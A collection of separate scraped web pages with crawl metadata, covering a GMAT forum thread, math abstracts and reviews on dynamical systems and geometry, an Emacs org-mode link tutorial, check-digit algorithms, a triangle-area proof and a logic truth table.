Know how you'd score today for $0 Available with Beat the GMAT members only code • 1 Hour Free BEAT THE GMAT EXCLUSIVE Available with Beat the GMAT members only code • Magoosh Study with Magoosh GMAT prep Available with Beat the GMAT members only code • Free Veritas GMAT Class Experience Lesson 1 Live Free Available with Beat the GMAT members only code • Free Trial & Practice Exam BEAT THE GMAT EXCLUSIVE Available with Beat the GMAT members only code • Free Practice Test & Review How would you score if you took the GMAT Available with Beat the GMAT members only code • 5-Day Free Trial 5-day free, full-access trial TTP Quant Available with Beat the GMAT members only code • Get 300+ Practice Questions 25 Video lessons and 6 Webinars for FREE Available with Beat the GMAT members only code • 5 Day FREE Trial Study Smarter, Not Harder Available with Beat the GMAT members only code • Award-winning private GMAT tutoring Register now and save up to$200
Available with Beat the GMAT members only code
graphic interpretation
This topic has 1 member reply
ash4gmat Senior | Next Rank: 100 Posts
Joined
17 Sep 2015
Posted:
57 messages
graphic interpretation
Wed Dec 16, 2015 8:46 am
HI
Can someone help understand last 2 questions in this link from veritas.
http://www.veritasprep.com/sample-problems/?question=14
Top Member
Marty Murray Legendary Member
Joined
03 Feb 2014
Posted:
2054 messages
Followed by:
132 members
955
GMAT Score:
800
Mon Dec 21, 2015 9:13 pm
As it stands, according to the graph, the relationship between S and L is the following. As S goes up, L, as indicated by the size of the circles, goes up as well. This is a positive correlation. As one goes up the other goes up.
So, in answer to the fourth question, if the relationship were inversed (Is that a word? Probably it should be reversed.), it would become the following. As S goes up, L goes down. So one would go up as the other goes down. That is how a negative correlation goes.
To answer the fifth question, you need to see that the relationship between F and S is not affected by changes in the relationship between L and S. The relationship between F and S is illustrated by the position of the circles, while L is illustrated by the size of the circles. In terms of the logic of what is going on, the relationship between F and S is the relationship between amount of fast-driving content and perception of sportiness. That relationship is unaffected by the answers to the separate question of how likely people are to buy the car.
From the graph we can see that as F increases S increases. So whether the relationship between L and S is positively or negatively correlated, the relationship between F and S remains positively correlated.
_________________
Marty Murray
GMAT Coach
m.w.murray@hotmail.com
https://infinitemindprep.com/
In Person in the New York Area and Online Worldwide
Top First Responders*
1 GMATGuruNY 67 first replies
2 Rich.C@EMPOWERgma... 44 first replies
3 Brent@GMATPrepNow 40 first replies
4 Jay@ManhattanReview 25 first replies
5 Terry@ThePrinceto... 10 first replies
* Only counts replies to topics started in last 30 days
See More Top Beat The GMAT Members
Most Active Experts
1 GMATGuruNY
The Princeton Review Teacher
132 posts
2 Rich.C@EMPOWERgma...
EMPOWERgmat
112 posts
3 Jeff@TargetTestPrep
Target Test Prep
95 posts
4 Scott@TargetTestPrep
Target Test Prep
92 posts
5 Max@Math Revolution
Math Revolution
91 posts
See More Top Beat The GMAT Experts | 2018-04-24 07:42:04 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.22301772236824036, "perplexity": 2774.5439696823532}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-17/segments/1524125946565.64/warc/CC-MAIN-20180424061343-20180424081343-00308.warc.gz"} |
https://www.flashfxp.com/forum/7591/p41722-post11.html | View Single Post
01-18-2004, 05:25 PM
St0rm
Disabled
Join Date: Nov 2003
Posts: 105
Quote:
Originally posted by Mr_X You may think that's useless but I think that will be cool if it automatically delete 0byte files (script called with 'OnUploadError')
What do you mean exactly? It deletes the 0-byte '-missing' files when files are being uploaded. | 2019-05-24 15:48:58 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9004247784614563, "perplexity": 13820.109198949694}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-22/segments/1558232257660.45/warc/CC-MAIN-20190524144504-20190524170504-00042.warc.gz"} |
http://www.mathnet.ru/php/archive.phtml?wshow=paper&jrnid=pdm&paperid=742&option_lang=eng | RUS ENG JOURNALS PEOPLE ORGANISATIONS CONFERENCES SEMINARS VIDEO LIBRARY PACKAGE AMSBIB
General information Latest issue Archive Impact factor Search papers Search references RSS Latest issue Current issues Archive issues What is RSS
Prikl. Diskr. Mat.: Year: Volume: Issue: Page: Find
Prikl. Diskr. Mat., 2021, Number 52, Pages 114–125 (Mi pdm742)
Applied Graph Theory
Discrete closed one-particle chain of contours
P. A. Myshkis, A. G. Tatashev, M. V. Yashina
Abstract: A discrete dynamical system called a closed chain of contours is considered. This system belongs to the class of the contour networks introduced by A. P. Buslaev. The closed chain contains $N$ contours. There are $2m$ cells and a particle at each contour. There are two points on any contour called a node such that each of these points is common for this contour and one of two adjacent contours located on the left and right. The nodes divide each contour into equal parts. At any time $t=0,1,2,…$ any particle moves onto a cell forward in the prescribed direction. If two particles simultaneously try to cross the same node, then only the particle of the left contour moves. The time function is introduced, that is equal to $0$ or $1$. This function is called the potential delay of the particle. For $t\ge m$, the equality of this function to $1$ implies that the time before the delay of the particle is not greater than $m$. The sum of all particles potential delays is called the potential of delays. From a certain moment, the states of the system are periodically repeated (limit cycles). Suppose the number of transitions of a particle on the limit cycle is equal to $S(T)$ and the period is equal to $T$. The ratio $S(T)$ to $T$ is called the average velocity of the particle. The following theorem have been proved. 1) The delay potential is a non-increasing function of time, and the delay potential does not change in any limit cycle, and the value of the delay potential is equal to a non-negative integer and does not exceed $2N/3$. 2) If the average velocity of particles is less than 1 for a limit cycle, then the period of the cycle (this period may not be minimal) is equal to $(m+1)N$. 3) The average velocity of particles is equal to $v=1-{H}/({(m+1)N})$, where $H$ is the potential of delays on the limit cycle. 4) For any $m$, there exists a value $N$ such that there exists a limit cycle with $H>0$ and, therefore, $v<1$.
Keywords: dynamical system, contour network, limit cycle, potential of delays.
DOI: https://doi.org/10.17223/20710410/52/8
Full text: PDF file (975 kB)
References: PDF file HTML file
Bibliographic databases:
UDC: 519.7
Citation: P. A. Myshkis, A. G. Tatashev, M. V. Yashina, “Discrete closed one-particle chain of contours”, Prikl. Diskr. Mat., 2021, no. 52, 114–125
Citation in format AMSBIB
\Bibitem{MysTatYas21} \by P.~A.~Myshkis, A.~G.~Tatashev, M.~V.~Yashina \paper Discrete closed one-particle chain of contours \jour Prikl. Diskr. Mat. \yr 2021 \issue 52 \pages 114--125 \mathnet{http://mi.mathnet.ru/pdm742} \crossref{https://doi.org/10.17223/20710410/52/8} | 2021-10-19 05:14:59 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.683249831199646, "perplexity": 1184.358741945811}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323585242.44/warc/CC-MAIN-20211019043325-20211019073325-00212.warc.gz"} |
https://zbmath.org/?q=an:0773.34036 | zbMATH — the first resource for mathematics
A characterization of the uniquely ergodic endomorphisms of the circle. (English) Zbl 0773.34036
A continuous endomorphism of the circle $$f$$ is said to be uniquely ergodic if there exists a unique $$f$$-invariant probability measure on the circle. It is known that every homeomorphism of the circle with irrational rotation number is uniquely ergodic. This paper is to extend this result to the endomorphism of the circle. The main result of the paper is the following Theorem: A circle endomorphism is uniquely ergodic if and only if it has at most one periodic orbit.
MSC:
37-XX Dynamical systems and ergodic theory 54H20 Topological dynamics (MSC2010)
Full Text: | 2021-06-20 12:49:51 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.886917233467102, "perplexity": 161.2718055337821}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623487662882.61/warc/CC-MAIN-20210620114611-20210620144611-00226.warc.gz"} |
http://math.stackexchange.com/questions/161451/entropy-of-a-linear-toral-automorphism | # Entropy of a Linear Toral Automorphism
I'm trying to calculate the entropy of the Linear Toral Automorphism induced by
$$f(x,y,z)=(x,y+x,y+z)$$
This is an exercise in the Katok book.
This map has all eigenvalues equal to 1. But I do not want to use that $~~ h_{top}(f)= log (max|\lambda_i|)$. would like to use Katok's suggestion that says that the cardinality separate sets grow quadratically with $n$ where $n$ is the size of the orbit. But I can not see it clearly.
-
Hint: start by computing eigenvalues of $Df$. The largest eigenvalue will tell you about expansion rate along that tangent direction. What does this tell you about entropy? – William Jun 22 '12 at 4:04
@William: This map has all eigenvalues equal to 1. But I do not want to use that $~~ h_{top}(f)= log (max|\lambda_i|)$. – user27456 Jun 22 '12 at 16:40
Could anybody tell me what branch of math is this? And what is that entropy? Wikipedia article or something similar will suffice. – Yrogirg Jun 25 '12 at 6:13
@ Yrogirg: Look at this page, maths.bristol.ac.uk/~maxcu/DynSysErgTh.html . For something more specific look at the reading titled topological entropy – user27456 Jun 25 '12 at 15:57
We have $$f^n(x,y,z)=(x,\,y+nx,\,z+ny+\tbinom n 2 x)$$ Taking $\|\cdot\|_\infty$ as a metric on $(\mathbb R/\mathbb Z)^3$, this implies $$d_n(a,b) \le (1+n+n(n-1)/2) \|a-b\|_\infty$$ where $d_n$ is the maximum distance between the two orbits $(a,f(a),\dots,f^n(a))$.
So that an $(n,\varepsilon)$-separated set must be $(0,\Omega(\varepsilon/n^2))$-separated (in other words, the metric $d_n$ grows at most quadratically) and therefore, since we are in dimension $d=3$, for fixed $\varepsilon$ its cardinality grows as $O(n^{2d})$, which suffices to conclude that $h_{top}(f)=0$.
Note that the cardinality itself does grow faster than quadratically, as can be seen with the following $n^2(n-1)/2$ points $M_{uv}$: \left\{\begin{aligned} x=&u/\tbinom n 2\\ y=&v/n\\ z=&0 \end{aligned}\right. If $d_n(M_{uv},M_{u'v'})<\varepsilon<1/4$ for some odd $n$, then we have $$|n(y'-y)+\tbinom n 2 (x'-x)|<\varepsilon\\ |v'-v+u'-u|<1\\ v'-v = -(u'-u)$$ $$|(n+1)/2\cdot(y'-y)+\tbinom{(n+1)/2}{2}(x'-x)|<\varepsilon\\ |u'-u|<\frac{n}{(n+1)/4}\varepsilon<1\\ u=u'\\ v=v'$$ So that we have a set of $\Omega(n^3)$ points that is $(n,\varepsilon)$-separated. | 2016-02-11 03:11:02 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9571630358695984, "perplexity": 214.7095960749655}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-07/segments/1454701160950.71/warc/CC-MAIN-20160205193920-00274-ip-10-236-182-209.ec2.internal.warc.gz"} |
http://kitchingroup.cheme.cmu.edu/blog/2015/03/18/Clickable-links-for-Twitter-handles-in-Emacs/ | | categories: emacs | tags: | View Comments
Org-mode has clickable links, and they are awesome. You can make your own links, for example here is a link for twitter handles that opens a browser to the handle, and exports as an html link.
(org-add-link-type "twitter"
(lambda (handle)
(lambda (path desc backend)
Check it out here: johnkitchin.
There is another alternative to make clickable text, and that is the button-lock package. You define a regular expression for the text you want to be clickable, and a function to run when it is clicked. Here is an example.
(require 'button-lock)
(global-button-lock-mode)
(button-lock-set-button
"@\$$[-a-zA-Z0-9_:]*\$$"
(lambda ()
(interactive)
(re-search-backward "@")
(re-search-forward "@\$$[a-zA-Z0-9_]*\$$")
(let* ((handle (match-string-no-properties 1)))
Check it out: @johnkitchin. Of course, you can make your clicking function more sophisticated, e.g. to give you a menu of options , e.g. to send a tweet to someone, or open the web page, or look them up in your org-contacts. The differences between this and an org-mode link are that this works in any mode, and it has no export in org-mode, so it will go as plain text. Since this is just a feature for Emacs though, that should be fine.
org-mode source
Org-mode version = 8.2.10 | 2017-10-19 20:03:12 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3904477059841156, "perplexity": 2815.650153712773}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-43/segments/1508187823462.26/warc/CC-MAIN-20171019194011-20171019214011-00543.warc.gz"} |
https://www.physicsforums.com/threads/diffeomorphism-and-jacobian.360663/ | # Diffeomorphism and Jacobian
1. Dec 5, 2009
### kof9595995
Why is a non zero jacobian the necessary condition for a diffeomorphism? How to prove it?
2. Dec 5, 2009
### Hurkyl
Staff Emeritus
A necessary condition, you mean.
Have you tried applying the definitions of any of the terms involved, and/or some basic structural theorems? By doing so, what sorts of equivalent statements were you able to produce?
3. Dec 5, 2009
### quasar987
if f is a a diffeo, then f o f^{-1} = id. Differentiate both side, put in matrix form and take the determinant.
4. Dec 5, 2009
### kof9595995
Emm....If I have a diffeomorphism f, that means f and f^-1 are both differentiable. If I can prove it's differential is also invertible, then Jacobian must be non zero. Emm...then what I can think of is: is the differential of f^-1 equals the inverse of the differential of f?
5. Dec 5, 2009
### kof9595995
Thanks, now I get it. | 2018-07-18 05:52:18 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8131068348884583, "perplexity": 1990.8418683403727}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-30/segments/1531676590051.20/warc/CC-MAIN-20180718041450-20180718061450-00347.warc.gz"} |
http://qurope.eu/db/publications/trace-distance-measure-coherence | ## Trace-distance measure of coherence
Date:
2015-11-10 - 2016-01-12
Author(s):
Swapan Rana, Preeti Parashar, Maciej Lewenstein
Reference:
Phys. Rev. A 93, 012110
We show that trace distance measure of coherence is a strong monotone for all qubit and, so called, X states. An expression for the trace distance coherence for all pure states and a semidefinite program for arbitrary states is provided. We also explore the relation between l1-norm and relative entropy based measures of coherence, and give a sharp inequality connecting the two. In addition, it is shown that both lp-norm- and Schatten-p-norm–based measures violate the (strong) monotonicity for all p \in (1, \infty). | 2021-03-05 10:19:17 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9432519674301147, "perplexity": 1516.627516297}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178370752.61/warc/CC-MAIN-20210305091526-20210305121526-00068.warc.gz"} |
https://atractor.pt/mat/alg_controlo/diedral_texto-_en.html | ## Identification numbers with check digit algorithms
### An optimal system: the Verhoeff Scheme
The purpose of check digits is to detect errors in the transcription of numbers with many digits. What features should such a code have? It must detect all singular errors (a mistake in a single digit) and all transpositions of adjacent digits (1), since about 90% of usual errors are of one of those two types. On the other hand, for the sake of ease of use, it is often preferable to have systems with identification numbers build only with digits $$0, 1, 2,..., 9$$, with no need of extra symbols, and with a unique check digit (2).
Most implemeted codes (Barcodes, Identity Card, NIB, Visa Cards, banknotes, etc.) are based on modular arithmetic, but none of them have both the above properties. NIB code needs more than one check digit, barcodes and Visa cards do not detect all consecutive transpositions, BI code (if applied correctly) needs $$11$$ symbols (thus digits $$0, 1, 2,..., 9$$ are not enough), and the Euro system do not even detects all singular errors. In fact, one can show that any error-detecting code based on Modular Arithmetic can not satisfy both properties (1) and (2).
In 1969, the Dutch mathematician J. Verhoeff, designed an "optimal" (in the sense that it satisfies both properties (1) and (2)) error-detecting code. It relies on "more sophisticated" concepts and ideas from Group Theory.
Let us see an example of a Verhoeff code that uses some Group Theory. This code could replace more effectively the one currently implemented in ID cards. | 2022-12-05 18:59:53 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5241274237632751, "perplexity": 1005.2262651807974}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446711042.33/warc/CC-MAIN-20221205164659-20221205194659-00650.warc.gz"} |
https://zbmath.org/?q=an%3A1459.62054 | # zbMATH — the first resource for mathematics
“Local” vs. “global” parameters – breaking the Gaussian complexity barrier. (English) Zbl 1459.62054
Summary: We show that if $$F$$ is a convex class of functions that is $$L$$-sub-Gaussian, the error rate of learning problems generated by independent noise is equivalent to a fixed point determined by “local” covering estimates of the class (i.e., the covering number at a specific level), rather than by the Gaussian average, which takes into account the structure of $$F$$ at an arbitrarily small scale. To that end, we establish new sharp upper and lower estimates on the error rate in such learning problems.
##### MSC:
62G08 Nonparametric regression and quantile regression 62C20 Minimax procedures in statistical decision theory 60G15 Gaussian processes
##### Keywords:
error rates; Gaussian averages; covering numbers
Full Text: | 2021-07-27 06:34:04 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.38649672269821167, "perplexity": 1055.7909342851258}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-31/segments/1627046152236.64/warc/CC-MAIN-20210727041254-20210727071254-00656.warc.gz"} |
https://planetmath.org/apolloniuscircle | # Apollonius’ circle
Apollonius’ circle. The locus of a point moving so that the ratio of its distances from two fixed points is fixed, is a circle.
If two circles $C_{1}$ and $C_{2}$ are fixed with radii $r_{1}$ and $r_{2}$, then the circle of Apollonius of the two centers with ratio $r_{1}/r_{2}$ is the circle whose diameter is the segment that the two homothety centers of the circles.
Title Apollonius’ circle ApolloniusCircle 2013-03-22 11:44:22 2013-03-22 11:44:22 drini (3) drini (3) 11 drini (3) Definition msc 51-00 msc 35-01 HarmonicDivision | 2021-04-21 10:04:00 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 5, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9073293209075928, "perplexity": 1038.5158619616716}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-17/segments/1618039536858.83/warc/CC-MAIN-20210421100029-20210421130029-00449.warc.gz"} |
http://mathhelpforum.com/geometry/173751-triangles.html | # Math Help - Triangles
1. ## Triangles
Hello,
I need the solution of the following question:
Consider a triangle $\triangle ABC$ and let $X$ be a point on the side $AB$ such that $AX=\frac{1}{3}AB$ and let $Y$ be a point on the side $AC$ such that $CY=\frac{1}{3}AC$. Prove that the area of the triangle $\triangle AXC$ equals the area of the triangle $\triangle BYC$.
Best Regards.
2. Hello, raed!
$\text{Consider }\Delta ABC\text{; let }X\text{ be a point on side }AB\text{ such that: }AX\,=\,\frac{1}{3}AB$
$\text{and let }Y\text{ be a point on the side }AC\text{ such that }CY\,=\,\frac{1}{3}AC$.
$\text{Prove that the area of }\Delta AXC\text{ equals the area of }\Delta BYC.$
Side $\,AB$ is divided in the ratio $1:2$
Compare $\Delta AXC$ and $\Delta ABC.$
They have the same height $\,h.$
Code:
C
o
**|*
* * | *
* * | *
* * |h *
* * | *
* * | *
* * | *
A o * * * o * * * * * * * o B
: - 1 - X - - - 2 - - - :
The base of $\Delta AXC$ is one-third the base of $\Delta ABC.$
Hence: . $(\text{area }\Delta AXC) \;=\;\frac{1}{3}(\text{area }\Delta ABC)$
In a similar fashion, we prove that: . $\text{(Area }\Delta BYC)} \;=\;\frac{1}{3}(\text{area }\Delta ABC})$
And we're done!
3. Originally Posted by Soroban
Hello, raed!
Side $\,AB$ is divided in the ratio $1:2$
Compare $\Delta AXC$ and $\Delta ABC.$
They have the same height $\,h.$
Code:
C
o
**|*
* * | *
* * | *
* * |h *
* * | *
* * | *
* * | *
A o * * * o * * * * * * * o B
: - 1 - X - - - 2 - - - :
The base of $\Delta AXC$ is one-third the base of $\Delta ABC.$
Hence: . $(\text{area }\Delta AXC) \;=\;\frac{1}{3}(\text{area }\Delta ABC)$
In a similar fashion, we prove that: . $\text{(Area }\Delta BYC)} \;=\;\frac{1}{3}(\text{area }\Delta ABC})$
And we're done!
Thank you very much for your reply.
Best Regards, | 2015-07-29 20:55:40 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 30, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7676385641098022, "perplexity": 522.2277260583515}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-32/segments/1438042986625.58/warc/CC-MAIN-20150728002306-00203-ip-10-236-191-2.ec2.internal.warc.gz"} |
https://calculator-online.org/mathlogic/expr/bcf8d3232a4bc7ff27b23d71818a02c5 | Mister Exam
# Expression (p⇒(q⇒r))⇒((p⇒q)⇒(q⇒r))
### The solution
You have entered [src]
(p⇒(q⇒r))⇒((p⇒q)⇒(q⇒r))
$$\left(p \Rightarrow \left(q \Rightarrow r\right)\right) \Rightarrow \left(\left(p \Rightarrow q\right) \Rightarrow \left(q \Rightarrow r\right)\right)$$
Detail solution
$$q \Rightarrow r = r \vee \neg q$$
$$p \Rightarrow \left(q \Rightarrow r\right) = r \vee \neg p \vee \neg q$$
$$p \Rightarrow q = q \vee \neg p$$
$$\left(p \Rightarrow q\right) \Rightarrow \left(q \Rightarrow r\right) = r \vee \neg q$$
$$\left(p \Rightarrow \left(q \Rightarrow r\right)\right) \Rightarrow \left(\left(p \Rightarrow q\right) \Rightarrow \left(q \Rightarrow r\right)\right) = p \vee r \vee \neg q$$
Simplification [src]
$$p \vee r \vee \neg q$$
p∨r∨(¬q)
Truth table
+---+---+---+--------+
| p | q | r | result |
+===+===+===+========+
| 0 | 0 | 0 | 1 |
+---+---+---+--------+
| 0 | 0 | 1 | 1 |
+---+---+---+--------+
| 0 | 1 | 0 | 0 |
+---+---+---+--------+
| 0 | 1 | 1 | 1 |
+---+---+---+--------+
